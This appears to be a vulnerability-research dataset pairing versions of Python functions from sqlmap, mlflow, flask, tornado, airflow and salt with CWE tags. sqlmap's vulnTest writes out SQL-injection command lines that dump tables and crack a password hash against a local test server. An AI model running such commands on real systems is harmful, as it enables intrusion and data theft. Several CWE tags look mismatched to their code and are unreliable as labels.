            for sid, service in getservicesids.servicesids.items():
                self.extrasids[sid] = "" (Service: "" + service + "")""

        ## Get the user's SIDs from the registry
        self.load_user_sids()

        for proc in tasks.pslist(addr_space):
            if str(proc.ImageFileName).lower() == ""services.exe"":
                for vad, process_space in proc.get_vads(vad_filter = proc._mapped_file_filter):
                    if vad.FileObject.FileName:
                        name = str(vad.FileObject.FileName).lower()
                        if name.endswith("".evt""):
                            ## Maybe check the length is reasonable, though probably there won't 
                            ## ever be event logs that are multiple GB or TB in size.
                            data = process_space.zread(vad.Start, vad.Length)
                            yield name, data"
,UNKNOWN,UNKNOWN,lib/core/testing.py,1,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-r <request> --flush-session"", (""CloudFlare"",)),
        (""-u <url> --flush-session --forms --crawl=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='<root><param name=\""id\"" value=\""1*\""/></root>' --mobile --banner --smart"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3"")),
        (""-u <url> --flush-session --parse-errors --eval=\""id2=2\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""3 columns"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --all --tamper=between,randomcase"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT 987654321\"""", (""length of query output"", "": '987654321'"",)),
        (""-d <direct> --flush-session --dump -T users --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"",)),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""SELECT 987654321\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""[*] 987654321"",)),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    open(request, ""w+"").write(""POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n"" % (address, port))

    url = ""http://%s:%d/?id=1"" % (address, port)
    direct = ""sqlite3://%s"" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        cmd = ""%s %s %s --batch"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options.replace(""<url>"", url).replace(""<direct>"", direct).replace(""<request>"", request))
        output = shellExec(cmd)

        if not all(check in output for check in checks):
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal",CWE-330,sqlmapproject/sqlmap,e57e61eccb1ed34dc7a65086bb854af933d8bc61,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-r <request> --flush-session"", (""CloudFlare"",)),
        (""-u <url> --flush-session --forms --crawl=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='<root><param name=\""id\"" value=\""1*\""/></root>' --mobile --banner --smart"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3"")),
        (""-u <url> --flush-session --parse-errors --eval=\""id2=2\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""3 columns"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --all --tamper=between,randomcase"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT 987654321\"""", (""length of query output"", "": '987654321'"",)),
        (""-d <direct> --flush-session --dump -T users --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"",)),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""SELECT 987654321\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""[*] 987654321"",)),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    open(request, ""w+b"").write(""POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n"" % (address, port))

    url = ""http://%s:%d/?id=1"" % (address, port)
    direct = ""sqlite3://%s"" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        cmd = ""%s %s %s --batch"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options.replace(""<url>"", url).replace(""<direct>"", direct).replace(""<request>"", request))
        output = shellExec(cmd)

        if not all(check in output for check in checks):
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def set_experiment_tag(self, experiment_id, key, value):
        """"""
        Set a tag on the experiment with the specified ID. Value is converted to a string.

        :param experiment_id: String ID of the experiment.
        :param key: Name of the tag.
        :param value: Tag value (converted to a string).
        """"""
        self._tracking_client.set_experiment_tag(experiment_id, key, value)",,mlflow/mlflow,4315db1a184e7e8f6b7828c005620d046558750f,"def set_experiment_tag(self, experiment_id, key, value):
        """"""
        Set a tag on the experiment with the specified ID. Value is converted to a string.
        :param experiment_id: String ID of the experiment.
        :param key: Name of the tag.
        :param value: Tag value (converted to a string).
        """"""
        self._tracking_client.set_experiment_tag(experiment_id, key, value)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/sklearn/utils.py,0,"def _log_specialized_estimator_content(
    autologging_client,
    fitted_estimator,
    run_id,
    prefix,
    X,
    y_true,
    sample_weight,
    pos_label,
    model_id,
    dataset,
):
    import sklearn

    metrics = {}

    if y_true is not None:
        try:
            if sklearn.base.is_classifier(fitted_estimator):
                metrics = _get_classifier_metrics(
                    fitted_estimator, prefix, X, y_true, sample_weight, pos_label
                )
            elif sklearn.base.is_regressor(fitted_estimator):
                metrics = _get_regressor_metrics(fitted_estimator, prefix, X, y_true, sample_weight)
        except Exception as err:
            msg = (
                ""Failed to autolog metrics for ""
                + fitted_estimator.__class__.__name__
                + "". Logging error: ""
                + str(err)
            )
            _logger.warning(msg)
        else:
            autologging_client.log_metrics(
                run_id=run_id,
                metrics=metrics,
                model_id=model_id,
                dataset=dataset,
            )

    if sklearn.base.is_classifier(fitted_estimator):
        try:
            artifacts = _get_classifier_artifacts(
                fitted_estimator, prefix, X, y_true, sample_weight
            )
        except Exception as e:
            msg = (
                ""Failed to autolog artifacts for ""
                + fitted_estimator.__class__.__name__
                + "". Logging error: ""
                + str(e)
            )
            _logger.warning(msg)
            return metrics

        try:
            import matplotlib
            import matplotlib.pyplot as plt
        except ImportError as ie:
            _logger.warning(
                f""Failed to import matplotlib (error: {ie!r}). Skipping artifact logging.""
            )
            return metrics

        _matplotlib_config = {""savefig.dpi"": 175, ""figure.autolayout"": True, ""font.size"": 8}
        with TempDir() as tmp_dir:
            for artifact in artifacts:
                try:
                    with matplotlib.rc_context(_matplotlib_config):
                        display = artifact.function(**artifact.arguments)
                        display.ax_.set_title(artifact.title)
                        artifact_path = f""{artifact.name}.png""
                        filepath = tmp_dir.path(artifact_path)
                        display.figure_.savefig(fname=filepath, format=""png"")
                        plt.close(display.figure_)
                except Exception as e:
                    _log_warning_for_artifacts(artifact.name, artifact.function, e)

            MlflowClient().log_artifacts(run_id, tmp_dir.path())

    return metrics",,mlflow/mlflow,a049494a66bee10267435566c01a4b6cb0a2bc15,"def _log_specialized_estimator_content(
    autologging_client,
    fitted_estimator,
    run_id,
    prefix,
    X,
    y_true,
    sample_weight,
    pos_label,
    model_id,
    dataset,
):
    import sklearn

    metrics = {}

    if y_true is not None:
        try:
            if sklearn.base.is_classifier(fitted_estimator):
                metrics = _get_classifier_metrics(
                    fitted_estimator, prefix, X, y_true, sample_weight, pos_label
                )
            elif sklearn.base.is_regressor(fitted_estimator):
                metrics = _get_regressor_metrics(fitted_estimator, prefix, X, y_true, sample_weight)
        except Exception as err:
            msg = (
                ""Failed to autolog metrics for ""
                + fitted_estimator.__class__.__name__
                + "". Logging error: ""
                + str(err)
            )
            _logger.warning(msg)
        else:
            autologging_client.log_metrics(
                run_id=run_id,
                metrics=metrics,
                model_id=model_id,
                dataset_name=dataset.name,
                dataset_digest=dataset.digest,
            )

    if sklearn.base.is_classifier(fitted_estimator):
        try:
            artifacts = _get_classifier_artifacts(
                fitted_estimator, prefix, X, y_true, sample_weight
            )
        except Exception as e:
            msg = (
                ""Failed to autolog artifacts for ""
                + fitted_estimator.__class__.__name__
                + "". Logging error: ""
                + str(e)
            )
            _logger.warning(msg)
            return metrics

        try:
            import matplotlib
            import matplotlib.pyplot as plt
        except ImportError as ie:
            _logger.warning(
                f""Failed to import matplotlib (error: {ie!r}). Skipping artifact logging.""
            )
            return metrics

        _matplotlib_config = {""savefig.dpi"": 175, ""figure.autolayout"": True, ""font.size"": 8}
        with TempDir() as tmp_dir:
            for artifact in artifacts:
                try:
                    with matplotlib.rc_context(_matplotlib_config):
                        display = artifact.function(**artifact.arguments)
                        display.ax_.set_title(artifact.title)
                        artifact_path = f""{artifact.name}.png""
                        filepath = tmp_dir.path(artifact_path)
                        display.figure_.savefig(fname=filepath, format=""png"")
                        plt.close(display.figure_)
                except Exception as e:
                    _log_warning_for_artifacts(artifact.name, artifact.function, e)

            MlflowClient().log_artifacts(run_id, tmp_dir.path())

    return metrics"
,UNKNOWN,UNKNOWN,tests/test_blueprints.py,1,"def test_nested_blueprint_url_prefix(app, client):
    parent = flask.Blueprint(""parent"", __name__, url_prefix=""/parent"")
    child = flask.Blueprint(""child"", __name__, url_prefix=""/child"")
    grandchild = flask.Blueprint(""grandchild"", __name__, url_prefix=""/grandchild"")
    apple = flask.Blueprint(""apple"", __name__, url_prefix=""/apple"")

    @parent.route(""/"")
    def parent_index():
        return ""Parent""

    @child.route(""/"")
    def child_index():
        return ""Child""

    @grandchild.route(""/"")
    def grandchild_index():
        return ""Grandchild""

    @apple.route(""/"")
    def apple_index():
        return ""Apple""

    child.register_blueprint(grandchild)
    child.register_blueprint(apple, url_prefix=""/orange"")  # test overwrite
    parent.register_blueprint(child)
    app.register_blueprint(parent)

    assert client.get(""/parent/"").data == b""Parent""
    assert client.get(""/parent/child/"").data == b""Child""
    assert client.get(""/parent/child/grandchild/"").data == b""Grandchild""
    assert client.get(""/parent/child/orange/"").data == b""Apple""",CWE-703,pallets/flask,1c3052377b18055cbfbbbdd297dd19a5c43c55a6,"def test_nested_blueprint_url_prefix(app, client):
    parent = flask.Blueprint(""parent"", __name__, url_prefix=""/parent"")
    child = flask.Blueprint(""child"", __name__, url_prefix=""/child"")
    grandchild = flask.Blueprint(""grandchild"", __name__, url_prefix=""/grandchild"")
    apple = flask.Blueprint(""apple"", __name__, url_prefix=""/apple"")

    @parent.route(""/"")
    def parent_index():
        return ""Parent""

    @child.route(""/"")
    def child_index():
        return ""Child""

    @grandchild.route(""/"")
    def grandchild_index():
        return ""Grandchild""

    @apple.route(""/"")
    def apple_index():
        return ""Apple""

    child.register_blueprint(grandchild)
    child.register_blueprint(apple, url_prefix=""/orange"")  # test overwrite
    parent.register_blueprint(child)
    app.register_blueprint(parent)

    assert client.get(""/parent/"").data == b""Parent""
    assert client.get(""/parent/child/"").data == b""Child""
    assert client.get(""/parent/child/grandchild/"").data == b""Grandchild""
    assert client.get(""/parent/child/orange/"").data == b""Apple"""
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def urldecode(value, encoding=None, unsafe=""%%?&=;+%s"" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
    """"""
    URL decodes given value

    >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#'
    True
    >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    """"""

    result = value

    if value:
        value = getUnicode(value)

        if convall:
            result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
        else:
            result = value
            charset = set(string.printable) - set(unsafe)

            def _(match):
                char = decodeHex(match.group(1), binary=False)
                return char if char in charset else match.group(0)

            if spaceplus:
                result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)

            result = re.sub(r""%([0-9a-fA-F]{2})"", _, result or """")

        result = getUnicode(result, encoding or UNICODE_ENCODING)

    return result",,sqlmapproject/sqlmap,e435d1e712556d1d2e5455970419e4a93be221b2,"def urldecode(value, encoding=None, unsafe=""%%?&=;+%s"" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
    """"""
    URL decodes given value

    >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#'
    True
    >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
    True
    """"""

    result = value

    if value:
        value = getUnicode(value)

        if convall:
            result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
        else:
            result = value
            charset = set(string.printable) - set(unsafe)

            def _(match):
                char = decodeHex(match.group(1), binary=False)
                return char if char in charset else match.group(0)

            if spaceplus:
                result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)

            result = re.sub(r""%([0-9a-fA-F]{2})"", _, result)

        result = getUnicode(result, encoding or UNICODE_ENCODING)

    return result"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def _read_to_buffer_loop(self):
        # This method is called from _handle_read and _try_inline_read.
        try:
            if self._read_bytes is not None:
                target_bytes = self._read_bytes
            elif self._read_max_bytes is not None:
                target_bytes = self._read_max_bytes
            elif self.reading():
                # For read_until without max_bytes, or
                # read_until_close, read as much as we can before
                # scanning for the delimiter.
                target_bytes = None
            else:
                target_bytes = 0
            next_find_pos = 0
            # Pretend to have a pending callback so that an EOF in
            # _read_to_buffer doesn't trigger an immediate close
            # callback.  At the end of this method we'll either
            # establish a real pending callback via
            # _read_from_buffer or run the close callback.
            #
            # We need two try statements here so that
            # pending_callbacks is decremented before the `except`
            # clause below (which calls `close` and does need to
            # trigger the callback)
            self._pending_callbacks += 1
            while not self.closed():
                # Read from the socket until we get EWOULDBLOCK or equivalent.
                # SSL sockets do some internal buffering, and if the data is
                # sitting in the SSL object's buffer select() and friends
                # can't see it; the only way to find out if it's there is to
                # try to read it.
                if self._read_to_buffer() == 0:
                    break

                self._run_streaming_callback()

                # If we've read all the bytes we can use, break out of
                # this loop.  We can't just call read_from_buffer here
                # because of subtle interactions with the
                # pending_callback and error_listener mechanisms.
                #
                # If we've reached target_bytes, we know we're done.
                if (target_bytes is not None and
                        self._read_buffer_size >= target_bytes):
                    break

                # Otherwise, we need to call the more expensive find_read_pos.
                # It's inefficient to do this on every read, so instead
                # do it on the first read and whenever the read buffer
                # size has doubled.
                if self._read_buffer_size >= next_find_pos:
                    pos = self._find_read_pos()
                    if pos is not None:
                        return pos
                    next_find_pos = self._read_buffer_size * 2
            return self._find_read_pos()
        finally:
            self._pending_callbacks -= 1",CWE-Unknown,tornadoweb/tornado,8238c08b99200b238135bb3cf95890c14512341e,"def _read_to_buffer_loop(self):
        # This method is called from _handle_read and _try_inline_read.
        try:
            if self._read_bytes is not None:
                target_bytes = self._read_bytes
            elif self._read_max_bytes is not None:
                target_bytes = self._read_max_bytes
            elif self.reading():
                # For read_until without max_bytes, or
                # read_until_close, read as much as we can before
                # scanning for the delimiter.
                target_bytes = None
            else:
                target_bytes = 0
            next_find_pos = 0
            # Pretend to have a pending callback so that an EOF in
            # _read_to_buffer doesn't trigger an immediate close
            # callback.  At the end of this method we'll either
            # estabilsh a real pending callback via
            # _read_from_buffer or run the close callback.
            #
            # We need two try statements here so that
            # pending_callbacks is decremented before the `except`
            # clause below (which calls `close` and does need to
            # trigger the callback)
            self._pending_callbacks += 1
            while not self.closed():
                # Read from the socket until we get EWOULDBLOCK or equivalent.
                # SSL sockets do some internal buffering, and if the data is
                # sitting in the SSL object's buffer select() and friends
                # can't see it; the only way to find out if it's there is to
                # try to read it.
                if self._read_to_buffer() == 0:
                    break

                self._run_streaming_callback()

                # If we've read all the bytes we can use, break out of
                # this loop.  We can't just call read_from_buffer here
                # because of subtle interactions with the
                # pending_callback and error_listener mechanisms.
                #
                # If we've reached target_bytes, we know we're done.
                if (target_bytes is not None and
                        self._read_buffer_size >= target_bytes):
                    break

                # Otherwise, we need to call the more expensive find_read_pos.
                # It's inefficient to do this on every read, so instead
                # do it on the first read and whenever the read buffer
                # size has doubled.
                if self._read_buffer_size >= next_find_pos:
                    pos = self._find_read_pos()
                    if pos is not None:
                        return pos
                    next_find_pos = self._read_buffer_size * 2
            return self._find_read_pos()
        finally:
            self._pending_callbacks -= 1"
,UNKNOWN,UNKNOWN,tests/dspy/test_dspy_autolog.py,1,"def test_autolog_tracing_during_evaluation_enabled_by_default():
    mlflow.dspy.autolog()

    dspy.settings.configure(
        lm=DummyLM(
            {
                ""What is 1 + 1?"": {""answer"": ""2""},
                ""What is 2 + 2?"": {""answer"": ""1000""},
            }
        )
    )

    # Samples from HotpotQA dataset
    trainset = [
        Example(question=""What is 1 + 1?"", answer=""2"").with_inputs(""question""),
        Example(question=""What is 2 + 2?"", answer=""4"").with_inputs(""question""),
    ]

    program = Predict(""question -> answer"")

    # Evaluate should generate traces by default
    evaluator = Evaluate(devset=trainset)
    eval_res = evaluator(program, metric=answer_exact_match)

    score = eval_res if isinstance(eval_res, float) else eval_res.score
    assert score == 50.0
    traces = get_traces()
    assert len(traces) == 2
    assert all(trace.info.status == ""OK"" for trace in traces)

    # If opted out, traces should NOT be generated during evaluation
    mlflow.dspy.autolog(log_traces_from_eval=False)

    score = evaluator(program, metric=answer_exact_match)
    assert len(get_traces()) == 2",CWE-703,mlflow/mlflow,8ce240f36d0795264da8407f2474b2854ea09263,"def test_autolog_tracing_during_evaluation_enabled_by_default():
    mlflow.dspy.autolog()

    dspy.settings.configure(
        lm=DummyLM(
            {
                ""What is 1 + 1?"": {""answer"": ""2""},
                ""What is 2 + 2?"": {""answer"": ""1000""},
            }
        )
    )

    # Samples from HotpotQA dataset
    trainset = [
        Example(question=""What is 1 + 1?"", answer=""2"").with_inputs(""question""),
        Example(question=""What is 2 + 2?"", answer=""4"").with_inputs(""question""),
    ]

    program = Predict(""question -> answer"")

    # Evaluate should generate traces by default
    evaluator = Evaluate(devset=trainset)
    score = evaluator(program, metric=answer_exact_match)

    assert score == 50.0
    traces = get_traces()
    assert len(traces) == 2
    assert all(trace.info.status == ""OK"" for trace in traces)

    # If opted out, traces should NOT be generated during evaluation
    mlflow.dspy.autolog(log_traces_from_eval=False)

    score = evaluator(program, metric=answer_exact_match)
    assert len(get_traces()) == 2"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_athena.py,1,"def test_operator_openlineage_data(self, mock_conn, mock_region_name):
        mock_region_name.return_value = ""eu-west-1""

        def mock_get_table_metadata(CatalogName, DatabaseName, TableName):
            with open(""tests/providers/amazon/aws/operators/athena_metadata.json"") as f:
                return json.load(f)[TableName]

        mock_conn.return_value.get_table_metadata = mock_get_table_metadata

        op = AthenaOperator(
            task_id=""test_athena_openlineage"",
            query=""INSERT INTO TEST_TABLE SELECT CUSTOMER_EMAIL FROM DISCOUNTS"",
            database=""TEST_DATABASE"",
            output_location=""s3://test_s3_bucket"",
            client_request_token=""eac427d0-1c6d-4dfb-96aa-2835d3ac6595"",
            sleep_time=0,
            max_polling_attempts=3,
            dag=self.dag,
        )

        expected_lineage = OperatorLineage(
            inputs=[
                Dataset(
                    namespace=""awsathena://athena.eu-west-1.amazonaws.com"",
                    name=""AwsDataCatalog.TEST_DATABASE.DISCOUNTS"",
                    facets={
                        ""symlinks"": SymlinksDatasetFacet(
                            identifiers=[
                                SymlinksDatasetFacetIdentifiers(
                                    namespace=""s3://bucket"",
                                    name=""/discount/data/path/"",
                                    type=""TABLE"",
                                )
                            ],
                        ),
                        ""schema"": SchemaDatasetFacet(
                            fields=[
                                SchemaField(
                                    name=""ID"",
                                    type=""int"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""AMOUNT_OFF"",
                                    type=""int"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""CUSTOMER_EMAIL"",
                                    type=""varchar"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""STARTS_ON"",
                                    type=""timestamp"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""ENDS_ON"",
                                    type=""timestamp"",
                                    description=""from deserializer"",
                                ),
                            ],
                        ),
                    },
                )
            ],
            outputs=[
                Dataset(
                    namespace=""awsathena://athena.eu-west-1.amazonaws.com"",
                    name=""AwsDataCatalog.TEST_DATABASE.TEST_TABLE"",
                    facets={
                        ""symlinks"": SymlinksDatasetFacet(
                            identifiers=[
                                SymlinksDatasetFacetIdentifiers(
                                    namespace=""s3://bucket"",
                                    name=""/data/test_table/data/path"",
                                    type=""TABLE"",
                                )
                            ],
                        ),
                        ""schema"": SchemaDatasetFacet(
                            fields=[
                                SchemaField(
                                    name=""column"",
                                    type=""string"",
                                    description=""from deserializer"",
                                )
                            ],
                        ),
                    },
                ),
                Dataset(namespace=""s3://test_s3_bucket"", name=""/""),
            ],
            job_facets={
                ""sql"": SqlJobFacet(
                    query=""INSERT INTO TEST_TABLE SELECT CUSTOMER_EMAIL FROM DISCOUNTS"",
                )
            },
        )
        assert op.get_openlineage_facets_on_start() == expected_lineage",CWE-703,apache/airflow,8d1bd345b2f343c9abe83e6dc5a71604796f0085,"def test_operator_openlineage_data(self, mock_conn, mock_region_name):
        mock_region_name.return_value = ""eu-west-1""

        def mock_get_table_metadata(CatalogName, DatabaseName, TableName):
            with open(""tests/providers/amazon/aws/operators/athena_metadata.json"") as f:
                return json.load(f)[TableName]

        mock_conn.return_value.get_table_metadata = mock_get_table_metadata

        op = AthenaOperator(
            task_id=""test_athena_openlineage"",
            query=""INSERT INTO TEST_TABLE SELECT CUSTOMER_EMAIL FROM DISCOUNTS"",
            database=""TEST_DATABASE"",
            output_location=""s3://test_s3_bucket/"",
            client_request_token=""eac427d0-1c6d-4dfb-96aa-2835d3ac6595"",
            sleep_time=0,
            max_polling_attempts=3,
            dag=self.dag,
        )

        expected_lineage = OperatorLineage(
            inputs=[
                Dataset(
                    namespace=""awsathena://athena.eu-west-1.amazonaws.com"",
                    name=""AwsDataCatalog.TEST_DATABASE.DISCOUNTS"",
                    facets={
                        ""symlinks"": SymlinksDatasetFacet(
                            identifiers=[
                                SymlinksDatasetFacetIdentifiers(
                                    namespace=""s3://bucket"",
                                    name=""/discount/data/path/"",
                                    type=""TABLE"",
                                )
                            ],
                        ),
                        ""schema"": SchemaDatasetFacet(
                            fields=[
                                SchemaField(
                                    name=""ID"",
                                    type=""int"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""AMOUNT_OFF"",
                                    type=""int"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""CUSTOMER_EMAIL"",
                                    type=""varchar"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""STARTS_ON"",
                                    type=""timestamp"",
                                    description=""from deserializer"",
                                ),
                                SchemaField(
                                    name=""ENDS_ON"",
                                    type=""timestamp"",
                                    description=""from deserializer"",
                                ),
                            ],
                        ),
                    },
                )
            ],
            outputs=[
                Dataset(
                    namespace=""awsathena://athena.eu-west-1.amazonaws.com"",
                    name=""AwsDataCatalog.TEST_DATABASE.TEST_TABLE"",
                    facets={
                        ""symlinks"": SymlinksDatasetFacet(
                            identifiers=[
                                SymlinksDatasetFacetIdentifiers(
                                    namespace=""s3://bucket"",
                                    name=""/data/test_table/data/path"",
                                    type=""TABLE"",
                                )
                            ],
                        ),
                        ""schema"": SchemaDatasetFacet(
                            fields=[
                                SchemaField(
                                    name=""column"",
                                    type=""string"",
                                    description=""from deserializer"",
                                )
                            ],
                        ),
                    },
                ),
                Dataset(namespace=""s3://test_s3_bucket"", name=""/""),
            ],
            job_facets={
                ""sql"": SqlJobFacet(
                    query=""INSERT INTO TEST_TABLE SELECT CUSTOMER_EMAIL FROM DISCOUNTS"",
                )
            },
        )
        assert op.get_openlineage_facets_on_start() == expected_lineage"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/test_pip.py,0,"def test_install_multiple_pkgs_and_editables(self):
        pkgs = ['pep8', 'salt']
        editables = [
            'git+https://github.com/jek/blinker.git#egg=Blinker',
            'git+https://github.com/saltstack/salt-testing.git#egg=SaltTesting'
        ]

        expected = ['pip', 'install'] + pkgs
        for item in editables:
